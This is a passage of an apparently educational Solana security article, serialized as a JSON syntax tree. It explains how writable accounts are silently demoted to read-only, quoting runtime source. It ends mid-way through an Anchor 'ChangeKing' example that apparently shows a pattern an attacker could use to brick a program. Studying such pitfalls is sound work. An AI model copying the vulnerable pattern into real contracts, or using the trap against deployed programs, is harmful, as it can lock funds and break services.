"style":399},[71652],{"type":24,"value":552},{"type":19,"tag":168,"props":71654,"children":71655},{"style":212},[71656],{"type":24,"value":412},{"type":19,"tag":168,"props":71658,"children":71659},{"class":170,"line":666},[71660,71664,71669,71673,71677,71681,71685,71689,71693,71697],{"type":19,"tag":168,"props":71661,"children":71662},{"style":382},[71663],{"type":24,"value":9232},{"type":19,"tag":168,"props":71665,"children":71666},{"style":393},[71667],{"type":24,"value":71668}," balance_after",{"type":19,"tag":168,"props":71670,"children":71671},{"style":399},[71672],{"type":24,"value":402},{"type":19,"tag":168,"props":71674,"children":71675},{"style":393},[71676],{"type":24,"value":2915},{"type":19,"tag":168,"props":71678,"children":71679},{"style":399},[71680],{"type":24,"value":948},{"type":19,"tag":168,"props":71682,"children":71683},{"style":175},[71684],{"type":24,"value":12959},{"type":19,"tag":168,"props":71686,"children":71687},{"style":212},[71688],{"type":24,"value":11489},{"type":19,"tag":168,"props":71690,"children":71691},{"style":399},[71692],{"type":24,"value":1811},{"type":19,"tag":168,"props":71694,"children":71695},{"style":393},[71696],{"type":24,"value":70689},{"type":19,"tag":168,"props":71698,"children":71699},{"style":212},[71700],{"type":24,"value":412},{"type":19,"tag":168,"props":71702,"children":71703},{"class":170,"line":694},[71704,71708,71712,71716,71720],{"type":19,"tag":168,"props":71705,"children":71706},{"style":825},[71707],{"type":24,"value":17944},{"type":19,"tag":168,"props":71709,"children":71710},{"style":212},[71711],{"type":24,"value":500},{"type":19,"tag":168,"props":71713,"children":71714},{"style":393},[71715],{"type":24,"value":10398},{"type":19,"tag":168,"props":71717,"children":71718},{"style":399},[71719],{"type":24,"value":948},{"type":19,"tag":168,"props":71721,"children":71722},{"style":212},[71723],{"type":24,"value":71724},"is_writable\n",{"type":19,"tag":168,"props":71726,"children":71727},{"class":170,"line":707},[71728,71732,71736,71740,71745,71749,71754,71758,71762,71766,71770],{"type":19,"tag":168,"props":71729,"children":71730},{"style":399},[71731],{"type":24,"value":13069},{"type":19,"tag":168,"props":71733,"children":71734},{"style":393},[71735],{"type":24,"value":70378},{"type":19,"tag":168,"props":71737,"children":71738},{"style":399},[71739],{"type":24,"value":948},{"type":19,"tag":168,"props":71741,"children":71742},{"style":175},[71743],{"type":24,"value":71744},"is_exempt",{"type":19,"tag":168,"props":71746,"children":71747},{"style":212},[71748],{"type":24,"value":500},{"type":19,"tag":168,"props":71750,"children":71751},{"style":393},[71752],{"type":24,"value":71753},"balance_after",{"type":19,"tag":168,"props":71755,"children":71756},{"style":212},[71757],{"type":24,"value":471},{"type":19,"tag":168,"props":71759,"children":71760},{"style":393},[71761],{"type":24,"value":10398},{"type":19,"tag":168,"props":71763,"children":71764},{"style":399},[71765],{"type":24,"value":948},{"type":19,"tag":168,"props":71767,"children":71768},{"style":175},[71769],{"type":24,"value":11252},{"type":19,"tag":168,"props":71771,"children":71772},{"style":212},[71773],{"type":24,"value":13108},{"type":19,"tag":168,"props":71775,"children":71776},{"class":170,"line":725},[71777,71781,71785,71790,71794,71798],{"type":19,"tag":168,"props":71778,"children":71779},{"style":399},[71780],{"type":24,"value":13069},{"type":19,"tag":168,"props":71782,"children":71783},{"style":399},[71784],{"type":24,"value":10309},{"type":19,"tag":168,"props":71786,"children":71787},{"style":175},[71788],{"type":24,"value":71789},"is_program",{"type":19,"tag":168,"props":71791,"children":71792},{"style":212},[71793],{"type":24,"value":500},{"type":19,"tag":168,"props":71795,"children":71796},{"style":393},[71797],{"type":24,"value":10398},{"type":19,"tag":168,"props":71799,"children":71800},{"style":212},[71801],{"type":24,"value":17166},{"type":19,"tag":168,"props":71803,"children":71804},{"class":170,"line":746},[71805],{"type":19,"tag":168,"props":71806,"children":71807},{"style":212},[71808],{"type":24,"value":1326},{"type":19,"tag":20,"props":71810,"children":71811},{},[71812],{"type":24,"value":71813},"Now we’re safe...right?",{"type":19,"tag":7050,"props":71815,"children":71817},{"id":71816},"bug-3-the-write-demotion-trap",[71818],{"type":24,"value":71819},"Bug 3: The Write-Demotion Trap",{"type":19,"tag":20,"props":71821,"children":71822},{},[71823,71825,71830,71832,71837],{"type":24,"value":71824},"On Solana, accounts passed as ",{"type":19,"tag":51,"props":71826,"children":71827},{},[71828],{"type":24,"value":71829},"writable",{"type":24,"value":71831}," in a transaction can be ",{"type":19,"tag":51,"props":71833,"children":71834},{},[71835],{"type":24,"value":71836},"silently downgraded to read-only",{"type":24,"value":71838},". This behavior occurs during message sanitization — even before your program runs.",{"type":19,"tag":20,"props":71840,"children":71841},{},[71842,71844,71851],{"type":24,"value":71843},"Let’s walk through the logic for legacy messages (note: the same rules apply to ",{"type":19,"tag":269,"props":71845,"children":71848},{"href":71846,"rel":71847},"https://github.com/anza-xyz/solana-sdk/blob/master/message/src/versions/v0/loaded.rs#L58-L98",[273],[71849],{"type":24,"value":71850},"MessageV0",{"type":24,"value":71852},", but legacy is simpler to follow):",{"type":19,"tag":158,"props":71854,"children":71856},{"className":363,"code":71855,"language":362,"meta":7,"style":7},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\nimpl LegacyMessage\u003C'_> {\n pub fn new(message: legacy::Message, reserved_account_keys: &HashSet\u003CPubkey>) -> Self {\n let is_writable_account_cache = message\n .account_keys\n .iter()\n .enumerate()\n .map(|(i, _key)| {\n message.is_writable_index(i)\n && !reserved_account_keys.contains(&message.account_keys[i])\n && !message.demote_program_id(i)\n })\n .collect::\u003CVec\u003C_>>();\n Self {\n message: Cow::Owned(message),\n is_writable_account_cache,\n }\n }\n}\n\n// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\npub fn demote_program_id(&self, i: usize) -> bool {\n self.is_key_called_as_program(i) && !self.is_upgradeable_loader_present()\n}\n\n",[71857],{"type":19,"tag":27,"props":71858,"children":71859},{"__ignoreMap":7},[71860,71868,71892,71980,72001,72013,72029,72045,72093,72122,72176,72212,72220,72257,72269,72307,72319,72326,72333,72340,72347,72355,72415,72468],{"type":19,"tag":168,"props":71861,"children":71862},{"class":170,"line":171},[71863],{"type":19,"tag":168,"props":71864,"children":71865},{"style":373},[71866],{"type":24,"value":71867},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\n",{"type":19,"tag":168,"props":71869,"children":71870},{"class":170,"line":198},[71871,71875,71880,71884,71888],{"type":19,"tag":168,"props":71872,"children":71873},{"style":382},[71874],{"type":24,"value":25663},{"type":19,"tag":168,"props":71876,"children":71877},{"style":825},[71878],{"type":24,"value":71879}," LegacyMessage",{"type":19,"tag":168,"props":71881,"children":71882},{"style":212},[71883],{"type":24,"value":20378},{"type":19,"tag":168,"props":71885,"children":71886},{"style":825},[71887],{"type":24,"value":476},{"type":19,"tag":168,"props":71889,"children":71890},{"style":212},[71891],{"type":24,"value":4717},{"type":19,"tag":168,"props":71893,"children":71894},{"class":170,"line":415},[71895,71899,71903,71907,71911,71915,71919,71924,71928,71933,71937,71942,71946,71950,71955,71959,71963,71967,71971,71976],{"type":19,"tag":168,"props":71896,"children":71897},{"style":382},[71898],{"type":24,"value":18298},{"type":19,"tag":168,"props":71900,"children":71901},{"style":382},[71902],{"type":24,"value":11141},{"type":19,"tag":168,"props":71904,"children":71905},{"style":175},[71906],{"type":24,"value":29405},{"type":19,"tag":168,"props":71908,"children":71909},{"style":212},[71910],{"type":24,"value":500},{"type":19,"tag":168,"props":71912,"children":71913},{"style":393},[71914],{"type":24,"value":65523},{"type":19,"tag":168,"props":71916,"children":71917},{"style":399},[71918],{"type":24,"value":1922},{"type":19,"tag":168,"props":71920,"children":71921},{"style":212},[71922],{"type":24,"value":71923}," legacy",{"type":19,"tag":168,"props":71925,"children":71926},{"style":399},[71927],{"type":24,"value":888},{"type":19,"tag":168,"props":71929,"children":71930},{"style":825},[71931],{"type":24,"value":71932},"Message",{"type":19,"tag":168,"props":71934,"children":71935},{"style":212},[71936],{"type":24,"value":471},{"type":19,"tag":168,"props":71938,"children":71939},{"style":393},[71940],{"type":24,"value":71941},"reserved_account_keys",{"type":19,"tag":168,"props":71943,"children":71944},{"style":399},[71945],{"type":24,"value":1922},{"type":19,"tag":168,"props":71947,"children":71948},{"style":399},[71949],{"type":24,"value":4577},{"type":19,"tag":168,"props":71951,"children":71952},{"style":825},[71953],{"type":24,"value":71954},"HashSet",{"type":19,"tag":168,"props":71956,"children":71957},{"style":212},[71958],{"type":24,"value":3240},{"type":19,"tag":168,"props":71960,"children":71961},{"style":825},[71962],{"type":24,"value":18853},{"type":19,"tag":168,"props":71964,"children":71965},{"style":212},[71966],{"type":24,"value":17901},{"type":19,"tag":168,"props":71968,"children":71969},{"style":399},[71970],{"type":24,"value":11203},{"type":19,"tag":168,"props":71972,"children":71973},{"style":382},[71974],{"type":24,"value":71975}," Self",{"type":19,"tag":168,"props":71977,"children":71978},{"style":212},[71979],{"type":24,"value":691},{"type":19,"tag":168,"props":71981,"children":71982},{"class":170,"line":450},[71983,71987,71992,71996],{"type":19,"tag":168,"props":71984,"children":71985},{"style":382},[71986],{"type":24,"value":456},{"type":19,"tag":168,"props":71988,"children":71989},{"style":393},[71990],{"type":24,"value":71991}," is_writable_account_cache",{"type":19,"tag":168,"props":71993,"children":71994},{"style":399},[71995],{"type":24,"value":402},{"type":19,"tag":168,"props":71997,"children":71998},{"style":393},[71999],{"type":24,"value":72000}," message\n",{"type":19,"tag":168,"props":72002,"children":72003},{"class":170,"line":560},[72004,72008],{"type":19,"tag":168,"props":72005,"children":72006},{"style":399},[72007],{"type":24,"value":566},{"type":19,"tag":168,"props":72009,"children":72010},{"style":212},[72011],{"type":24,"value":72012},"account_keys\n",{"type":19,"tag":168,"props":72014,"children":72015},{"class":170,"line":666},[72016,72020,72025],{"type":19,"tag":168,"props":72017,"children":72018},{"style":399},[72019],{"type":24,"value":566},{"type":19,"tag":168,"props":72021,"children":72022},{"style":175},[72023],{"type":24,"value":72024},"iter",{"type":19,"tag":168,"props":72026,"children":72027},{"style":212},[72028],{"type":24,"value":5172},{"type":19,"tag":168,"props":72030,"children":72031},{"class":170,"line":694},[72032,72036,72041],{"type":19,"tag":168,"props":72033,"children":72034},{"style":399},[72035],{"type":24,"value":566},{"type":19,"tag":168,"props":72037,"children":72038},{"style":175},[72039],{"type":24,"value":72040},"enumerate",{"type":19,"tag":168,"props":72042,"children":72043},{"style":212},[72044],{"type":24,"value":5172},{"type":19,"tag":168,"props":72046,"children":72047},{"class":170,"line":707},[72048,72052,72056,72060,72064,72068,72072,72076,72081,72085,72089],{"type":19,"tag":168,"props":72049,"children":72050},{"style":399},[72051],{"type":24,"value":566},{"type":19,"tag":168,"props":72053,"children":72054},{"style":175},[72055],{"type":24,"value":64588},{"type":19,"tag":168,"props":72057,"children":72058},{"style":212},[72059],{"type":24,"value":500},{"type":19,"tag":168,"props":72061,"children":72062},{"style":399},[72063],{"type":24,"value":7859},{"type":19,"tag":168,"props":72065,"children":72066},{"style":212},[72067],{"type":24,"value":500},{"type":19,"tag":168,"props":72069,"children":72070},{"style":393},[72071],{"type":24,"value":1157},{"type":19,"tag":168,"props":72073,"children":72074},{"style":212},[72075],{"type":24,"value":471},{"type":19,"tag":168,"props":72077,"children":72078},{"style":393},[72079],{"type":24,"value":72080},"_key",{"type":19,"tag":168,"props":72082,"children":72083},{"style":212},[72084],{"type":24,"value":524},{"type":19,"tag":168,"props":72086,"children":72087},{"style":399},[72088],{"type":24,"value":7859},{"type":19,"tag":168,"props":72090,"children":72091},{"style":212},[72092],{"type":24,"value":691},{"type":19,"tag":168,"props":72094,"children":72095},{"class":170,"line":725},[72096,72101,72105,72110,72114,72118],{"type":19,"tag":168,"props":72097,"children":72098},{"style":393},[72099],{"type":24,"value":72100}," message",{"type":19,"tag":168,"props":72102,"children":72103},{"style":399},[72104],{"type":24,"value":948},{"type":19,"tag":168,"props":72106,"children":72107},{"style":175},[72108],{"type":24,"value":72109},"is_writable_index",{"type":19,"tag":168,"props":72111,"children":72112},{"style":212},[72113],{"type":24,"value":500},{"type":19,"tag":168,"props":72115,"children":72116},{"style":393},[72117],{"type":24,"value":1157},{"type":19,"tag":168,"props":72119,"children":72120},{"style":212},[72121],{"type":24,"value":557},{"type":19,"tag":168,"props":72123,"children":72124},{"class":170,"line":746},[72125,72130,72134,72138,72142,72147,72151,72155,72159,72163,72168,72172],{"type":19,"tag":168,"props":72126,"children":72127},{"style":399},[72128],{"type":24,"value":72129}," &&",{"type":19,"tag":168,"props":72131,"children":72132},{"style":399},[72133],{"type":24,"value":10309},{"type":19,"tag":168,"props":72135,"children":72136},{"style":393},[72137],{"type":24,"value":71941},{"type":19,"tag":168,"props":72139,"children":72140},{"style":399},[72141],{"type":24,"value":948},{"type":19,"tag":168,"props":72143,"children":72144},{"style":175},[72145],{"type":24,"value":72146},"contains",{"type":19,"tag":168,"props":72148,"children":72149},{"style":212},[72150],{"type":24,"value":500},{"type":19,"tag":168,"props":72152,"children":72153},{"style":399},[72154],{"type":24,"value":505},{"type":19,"tag":168,"props":72156,"children":72157},{"style":393},[72158],{"type":24,"value":65523},{"type":19,"tag":168,"props":72160,"children":72161},{"style":399},[72162],{"type":24,"value":948},{"type":19,"tag":168,"props":72164,"children":72165},{"style":212},[72166],{"type":24,"value":72167},"account_keys[",{"type":19,"tag":168,"props":72169,"children":72170},{"style":393},[72171],{"type":24,"value":1157},{"type":19,"tag":168,"props":72173,"children":72174},{"style":212},[72175],{"type":24,"value":52924},{"type":19,"tag":168,"props":72177,"children":72178},{"class":170,"line":755},[72179,72183,72187,72191,72195,72200,72204,72208],{"type":19,"tag":168,"props":72180,"children":72181},{"style":399},[72182],{"type":24,"value":72129},{"type":19,"tag":168,"props":72184,"children":72185},{"style":399},[72186],{"type":24,"value":10309},{"type":19,"tag":168,"props":72188,"children":72189},{"style":393},[72190],{"type":24,"value":65523},{"type":19,"tag":168,"props":72192,"children":72193},{"style":399},[72194],{"type":24,"value":948},{"type":19,"tag":168,"props":72196,"children":72197},{"style":175},[72198],{"type":24,"value":72199},"demote_program_id",{"type":19,"tag":168,"props":72201,"children":72202},{"style":212},[72203],{"type":24,"value":500},{"type":19,"tag":168,"props":72205,"children":72206},{"style":393},[72207],{"type":24,"value":1157},{"type":19,"tag":168,"props":72209,"children":72210},{"style":212},[72211],{"type":24,"value":557},{"type":19,"tag":168,"props":72213,"children":72214},{"class":170,"line":1008},[72215],{"type":19,"tag":168,"props":72216,"children":72217},{"style":212},[72218],{"type":24,"value":72219}," })\n",{"type":19,"tag":168,"props":72221,"children":72222},{"class":170,"line":1025},[72223,72227,72232,72236,72240,72244,72248,72252],{"type":19,"tag":168,"props":72224,"children":72225},{"style":399},[72226],{"type":24,"value":566},{"type":19,"tag":168,"props":72228,"children":72229},{"style":175},[72230],{"type":24,"value":72231},"collect",{"type":19,"tag":168,"props":72233,"children":72234},{"style":399},[72235],{"type":24,"value":888},{"type":19,"tag":168,"props":72237,"children":72238},{"style":212},[72239],{"type":24,"value":3240},{"type":19,"tag":168,"props":72241,"children":72242},{"style":825},[72243],{"type":24,"value":14660},{"type":19,"tag":168,"props":72245,"children":72246},{"style":212},[72247],{"type":24,"value":3240},{"type":19,"tag":168,"props":72249,"children":72250},{"style":393},[72251],{"type":24,"value":476},{"type":19,"tag":168,"props":72253,"children":72254},{"style":212},[72255],{"type":24,"value":72256},">>();\n",{"type":19,"tag":168,"props":72258,"children":72259},{"class":170,"line":1042},[72260,72265],{"type":19,"tag":168,"props":72261,"children":72262},{"style":382},[72263],{"type":24,"value":72264}," Self",{"type":19,"tag":168,"props":72266,"children":72267},{"style":212},[72268],{"type":24,"value":691},{"type":19,"tag":168,"props":72270,"children":72271},{"class":170,"line":1055},[72272,72277,72281,72286,72290,72295,72299,72303],{"type":19,"tag":168,"props":72273,"children":72274},{"style":393},[72275],{"type":24,"value":72276}," message",{"type":19,"tag":168,"props":72278,"children":72279},{"style":399},[72280],{"type":24,"value":1922},{"type":19,"tag":168,"props":72282,"children":72283},{"style":825},[72284],{"type":24,"value":72285}," Cow",{"type":19,"tag":168,"props":72287,"children":72288},{"style":399},[72289],{"type":24,"value":888},{"type":19,"tag":168,"props":72291,"children":72292},{"style":175},[72293],{"type":24,"value":72294},"Owned",{"type":19,"tag":168,"props":72296,"children":72297},{"style":212},[72298],{"type":24,"value":500},{"type":19,"tag":168,"props":72300,"children":72301},{"style":393},[72302],{"type":24,"value":65523},{"type":19,"tag":168,"props":72304,"children":72305},{"style":212},[72306],{"type":24,"value":4172},{"type":19,"tag":168,"props":72308,"children":72309},{"class":170,"line":1064},[72310,72315],{"type":19,"tag":168,"props":72311,"children":72312},{"style":393},[72313],{"type":24,"value":72314}," is_writable_account_cache",{"type":19,"tag":168,"props":72316,"children":72317},{"style":212},[72318],{"type":24,"value":915},{"type":19,"tag":168,"props":72320,"children":72321},{"class":170,"line":1087},[72322],{"type":19,"tag":168,"props":72323,"children":72324},{"style":212},[72325],{"type":24,"value":752},{"type":19,"tag":168,"props":72327,"children":72328},{"class":170,"line":1096},[72329],{"type":19,"tag":168,"props":72330,"children":72331},{"style":212},[72332],{"type":24,"value":761},{"type":19,"tag":168,"props":72334,"children":72335},{"class":170,"line":1105},[72336],{"type":19,"tag":168,"props":72337,"children":72338},{"style":212},[72339],{"type":24,"value":1326},{"type":19,"tag":168,"props":72341,"children":72342},{"class":170,"line":1174},[72343],{"type":19,"tag":168,"props":72344,"children":72345},{"emptyLinePlaceholder":14},[72346],{"type":24,"value":1093},{"type":19,"tag":168,"props":72348,"children":72349},{"class":170,"line":1182},[72350],{"type":19,"tag":168,"props":72351,"children":72352},{"style":373},[72353],{"type":24,"value":72354},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\n",{"type":19,"tag":168,"props":72356,"children":72357},{"class":170,"line":1212},[72358,72362,72366,72371,72375,72379,72383,72387,72391,72395,72399,72403,72407,72411],{"type":19,"tag":168,"props":72359,"children":72360},{"style":382},[72361],{"type":24,"value":11136},{"type":19,"tag":168,"props":72363,"children":72364},{"style":382},[72365],{"type":24,"value":11141},{"type":19,"tag":168,"props":72367,"children":72368},{"style":175},[72369],{"type":24,"value":72370}," demote_program_id",{"type":19,"tag":168,"props":72372,"children":72373},{"style":212},[72374],{"type":24,"value":500},{"type":19,"tag":168,"props":72376,"children":72377},{"style":399},[72378],{"type":24,"value":505},{"type":19,"tag":168,"props":72380,"children":72381},{"style":382},[72382],{"type":24,"value":11159},{"type":19,"tag":168,"props":72384,"children":72385},{"style":212},[72386],{"type":24,"value":471},{"type":19,"tag":168,"props":72388,"children":72389},{"style":393},[72390],{"type":24,"value":1157},{"type":19,"tag":168,"props":72392,"children":72393},{"style":399},[72394],{"type":24,"value":1922},{"type":19,"tag":168,"props":72396,"children":72397},{"style":825},[72398],{"type":24,"value":11177},{"type":19,"tag":168,"props":72400,"children":72401},{"style":212},[72402],{"type":24,"value":481},{"type":19,"tag":168,"props":72404,"children":72405},{"style":399},[72406],{"type":24,"value":11203},{"type":19,"tag":168,"props":72408,"children":72409},{"style":825},[72410],{"type":24,"value":9495},{"type":19,"tag":168,"props":72412,"children":72413},{"style":212},[72414],{"type":24,"value":691},{"type":19,"tag":168,"props":72416,"children":72417},{"class":170,"line":1220},[72418,72422,72426,72431,72435,72439,72443,72447,72451,72455,72459,72464],{"type":19,"tag":168,"props":72419,"children":72420},{"style":382},[72421],{"type":24,"value":18241},{"type":19,"tag":168,"props":72423,"children":72424},{"style":399},[72425],{"type":24,"value":948},{"type":19,"tag":168,"props":72427,"children":72428},{"style":175},[72429],{"type":24,"value":72430},"is_key_called_as_program",{"type":19,"tag":168,"props":72432,"children":72433},{"style":212},[72434],{"type":24,"value":500},{"type":19,"tag":168,"props":72436,"children":72437},{"style":393},[72438],{"type":24,"value":1157},{"type":19,"tag":168,"props":72440,"children":72441},{"style":212},[72442],{"type":24,"value":481},{"type":19,"tag":168,"props":72444,"children":72445},{"style":399},[72446],{"type":24,"value":70684},{"type":19,"tag":168,"props":72448,"children":72449},{"style":399},[72450],{"type":24,"value":10309},{"type":19,"tag":168,"props":72452,"children":72453},{"style":382},[72454],{"type":24,"value":11159},{"type":19,"tag":168,"props":72456,"children":72457},{"style":399},[72458],{"type":24,"value":948},{"type":19,"tag":168,"props":72460,"children":72461},{"style":175},[72462],{"type":24,"value":72463},"is_upgradeable_loader_present",{"type":19,"tag":168,"props":72465,"children":72466},{"style":212},[72467],{"type":24,"value":5172},{"type":19,"tag":168,"props":72469,"children":72470},{"class":170,"line":1252},[72471],{"type":19,"tag":168,"props":72472,"children":72473},{"style":212},[72474],{"type":24,"value":1326},{"type":19,"tag":20,"props":72476,"children":72477},{},[72478],{"type":24,"value":72479},"As you can see, there are two main causes of write-demotion:",{"type":19,"tag":2869,"props":72481,"children":72482},{},[72483,72495],{"type":19,"tag":47,"props":72484,"children":72485},{},[72486,72488],{"type":24,"value":72487},"The account appears in the ",{"type":19,"tag":269,"props":72489,"children":72492},{"href":72490,"rel":72491},"https://github.com/anza-xyz/agave/blob/cd76bf6b8da8ec3739f0df4e087de0e50028b034/reserved-account-keys/src/lib.rs#L142-L182",[273],[72493],{"type":24,"value":72494},"reserved account list",{"type":19,"tag":47,"props":72496,"children":72497},{},[72498],{"type":24,"value":72499},"The account is invoked as a program without the upgradable loader being present in the transaction.",{"type":19,"tag":20,"props":72501,"children":72502},{},[72503],{"type":24,"value":72504},"The second case is generally covered by the executable check implemented previously.",{"type":19,"tag":20,"props":72506,"children":72507},{},[72508],{"type":24,"value":72509},"The first case, however, is far more dangerous — it can silently break your program logic without any obvious cause. Let’s dig deeper into that.",{"type":19,"tag":16345,"props":72511,"children":72513},{"id":72512},"the-reserved-account-list",[72514],{"type":24,"value":72515},"The Reserved Account List",{"type":19,"tag":20,"props":72517,"children":72518},{},[72519,72521,72526],{"type":24,"value":72520},"The Solana runtime maintains a ",{"type":19,"tag":269,"props":72522,"children":72524},{"href":72490,"rel":72523},[273],[72525],{"type":24,"value":72494},{"type":24,"value":72527},", which includes addresses with special semantics — such as built-in programs, precompiles, and sysvars.",{"type":19,"tag":20,"props":72529,"children":72530},{},[72531,72533,72540,72542,72547],{"type":24,"value":72532},"These accounts may initially behave like normal accounts. However, once they become reserved after a ",{"type":19,"tag":269,"props":72534,"children":72537},{"href":72535,"rel":72536},"https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474",[273],[72538],{"type":24,"value":72539},"feature gate is actived",{"type":24,"value":72541},", the runtime will ",{"type":19,"tag":51,"props":72543,"children":72544},{},[72545],{"type":24,"value":72546},"automatically demote them to read-only",{"type":24,"value":72548},", even if the transaction marked them as writable.",{"type":19,"tag":158,"props":72550,"children":72552},{"className":363,"code":72551,"language":362,"meta":7,"style":7},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n// Update active set of reserved account keys which are not allowed to be write locked\nself.reserved_account_keys = {\n let mut reserved_keys = ReservedAccountKeys::clone(&self.reserved_account_keys);\n reserved_keys.update_active_set(&self.feature_set);\n Arc::new(reserved_keys)\n};\n",[72553],{"type":19,"tag":27,"props":72554,"children":72555},{"__ignoreMap":7},[72556,72564,72572,72596,72650,72688,72717],{"type":19,"tag":168,"props":72557,"children":72558},{"class":170,"line":171},[72559],{"type":19,"tag":168,"props":72560,"children":72561},{"style":373},[72562],{"type":24,"value":72563},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n",{"type":19,"tag":168,"props":72565,"children":72566},{"class":170,"line":198},[72567],{"type":19,"tag":168,"props":72568,"children":72569},{"style":373},[72570],{"type":24,"value":72571},"// Update active set of reserved account keys which are not allowed to be write locked\n",{"type":19,"tag":168,"props":72573,"children":72574},{"class":170,"line":415},[72575,72579,72583,72588,72592],{"type":19,"tag":168,"props":72576,"children":72577},{"style":382},[72578],{"type":24,"value":11159},{"type":19,"tag":168,"props":72580,"children":72581},{"style":399},[72582],{"type":24,"value":948},{"type":19,"tag":168,"props":72584,"children":72585},{"style":212},[72586],{"type":24,"value":72587},"reserved_account_keys ",{"type":19,"tag":168,"props":72589,"children":72590},{"style":399},[72591],{"type":24,"value":486},{"type":19,"tag":168,"props":72593,"children":72594},{"style":212},[72595],{"type":24,"value":691},{"type":19,"tag":168,"props":72597,"children":72598},{"class":170,"line":450},[72599,72603,72607,72612,72616,72621,72625,72629,72633,72637,72641,72645],{"type":19,"tag":168,"props":72600,"children":72601},{"style":382},[72602],{"type":24,"value":385},{"type":19,"tag":168,"props":72604,"children":72605},{"style":382},[72606],{"type":24,"value":390},{"type":19,"tag":168,"props":72608,"children":72609},{"style":393},[72610],{"type":24,"value":72611}," reserved_keys",{"type":19,"tag":168,"props":72613,"children":72614},{"style":399},[72615],{"type":24,"value":402},{"type":19,"tag":168,"props":72617,"children":72618},{"style":825},[72619],{"type":24,"value":72620}," ReservedAccountKeys",{"type":19,"tag":168,"props":72622,"children":72623},{"style":399},[72624],{"type":24,"value":888},{"type":19,"tag":168,"props":72626,"children":72627},{"style":175},[72628],{"type":24,"value":12867},{"type":19,"tag":168,"props":72630,"children":72631},{"style":212},[72632],{"type":24,"value":500},{"type":19,"tag":168,"props":72634,"children":72635},{"style":399},[72636],{"type":24,"value":505},{"type":19,"tag":168,"props":72638,"children":72639},{"style":382},[72640],{"type":24,"value":11159},{"type":19,"tag":168,"props":72642,"children":72643},{"style":399},[72644],{"type":24,"value":948},{"type":19,"tag":168,"props":72646,"children":72647},{"style":212},[72648],{"type":24,"value":72649},"reserved_account_keys);\n",{"type":19,"tag":168,"props":72651,"children":72652},{"class":170,"line":560},[72653,72658,72662,72667,72671,72675,72679,72683],{"type":19,"tag":168,"props":72654,"children":72655},{"style":393},[72656],{"type":24,"value":72657}," reserved_keys",{"type":19,"tag":168,"props":72659,"children":72660},{"style":399},[72661],{"type":24,"value":948},{"type":19,"tag":168,"props":72663,"children":72664},{"style":175},[72665],{"type":24,"value":72666},"update_active_set",{"type":19,"tag":168,"props":72668,"children":72669},{"style":212},[72670],{"type":24,"value":500},{"type":19,"tag":168,"props":72672,"children":72673},{"style":399},[72674],{"type":24,"value":505},{"type":19,"tag":168,"props":72676,"children":72677},{"style":382},[72678],{"type":24,"value":11159},{"type":19,"tag":168,"props":72680,"children":72681},{"style":399},[72682],{"type":24,"value":948},{"type":19,"tag":168,"props":72684,"children":72685},{"style":212},[72686],{"type":24,"value":72687},"feature_set);\n",{"type":19,"tag":168,"props":72689,"children":72690},{"class":170,"line":666},[72691,72696,72700,72704,72708,72713],{"type":19,"tag":168,"props":72692,"children":72693},{"style":825},[72694],{"type":24,"value":72695}," Arc",{"type":19,"tag":168,"props":72697,"children":72698},{"style":399},[72699],{"type":24,"value":888},{"type":19,"tag":168,"props":72701,"children":72702},{"style":175},[72703],{"type":24,"value":12569},{"type":19,"tag":168,"props":72705,"children":72706},{"style":212},[72707],{"type":24,"value":500},{"type":19,"tag":168,"props":72709,"children":72710},{"style":393},[72711],{"type":24,"value":72712},"reserved_keys",{"type":19,"tag":168,"props":72714,"children":72715},{"style":212},[72716],{"type":24,"value":557},{"type":19,"tag":168,"props":72718,"children":72719},{"class":170,"line":694},[72720],{"type":19,"tag":168,"props":72721,"children":72722},{"style":212},[72723],{"type":24,"value":14026},{"type":19,"tag":16345,"props":72725,"children":72727},{"id":72726},"consequences-silent-failures-and-bricked-programs",[72728],{"type":24,"value":72729},"Consequences: Silent Failures and Bricked Programs",{"type":19,"tag":20,"props":72731,"children":72732},{},[72733],{"type":24,"value":72734},"This behavior is especially dangerous when you constrain a program to be writable, for example, with anchor, it's pretty common to use the account(mut) constraint:",{"type":19,"tag":158,"props":72736,"children":72738},{"className":363,"code":72737,"language":362,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n #[account(mut)]\n pub throne: Account\u003C'info, Throne>,\n\n #[account(mut, constraint = old_king.key() == throne.king)]\n pub old_king: AccountInfo\u003C'info>,\n\n #[account(mut)]\n pub new_king: AccountInfo\u003C'info>,\n\n #[account(mut)]\n pub payer: Signer\u003C'info>,\n}\n",[72739],{"type":19,"tag":27,"props":72740,"children":72741},{"__ignoreMap":7},[72742,72757,72784,72799,72838,72845,72892,72923,72930,72945,72976,72983,72998,73029],{"type":19,"tag":168,"props":72743,"children":72744},{"class":170,"line":171},[72745,72749,72753],{"type":19,"tag":168,"props":72746,"children":72747},{"style":212},[72748],{"type":24,"value":20293},{"type":19,"tag":168,"props":72750,"children":72751},{"style":825},[72752],{"type":24,"value":20298},{"type":19,"tag":168,"props":72754,"children":72755},{"style":212},[72756],{"type":24,"value":17713},{"type":19,"tag":168,"props":72758,"children":72759},{"class":170,"line":198},[72760,72764,72768,72772,72776,72780],{"type":19,"tag":168,"props":72761,"children":72762},{"style":382},[72763],{"type":24,"value":11136},{"type":19,"tag":168,"props":72765,"children":72766},{"style":382},[72767],{"type":24,"value":18606},{"type":19,"tag":168,"props":72769,"children":72770},{"style":825},[72771],{"type":24,"value":68797},{"type":19,"tag":168,"props":72773,"children":72774},{"style":212},[72775],{"type":24,"value":20378},{"type":19,"tag":168,"props":72777,"children":72778},{"style":825},[72779],{"type":24,"value":20383},{"type":19,"tag":168,"props":72781,"children":72782},{"style":212},[72783],{"type":24,"value":4717},{"type":19,"tag":168,"props":72785,"children":72786},{"class":170,"line":415},[72787,72791,72795],{"type":19,"tag":168,"props":72788,"children":72789},{"style":212},[72790],{"type":24,"value":20585},{"type":19,"tag":168,"props":72792,"children":72793},{"style":382},[72794],{"type":24,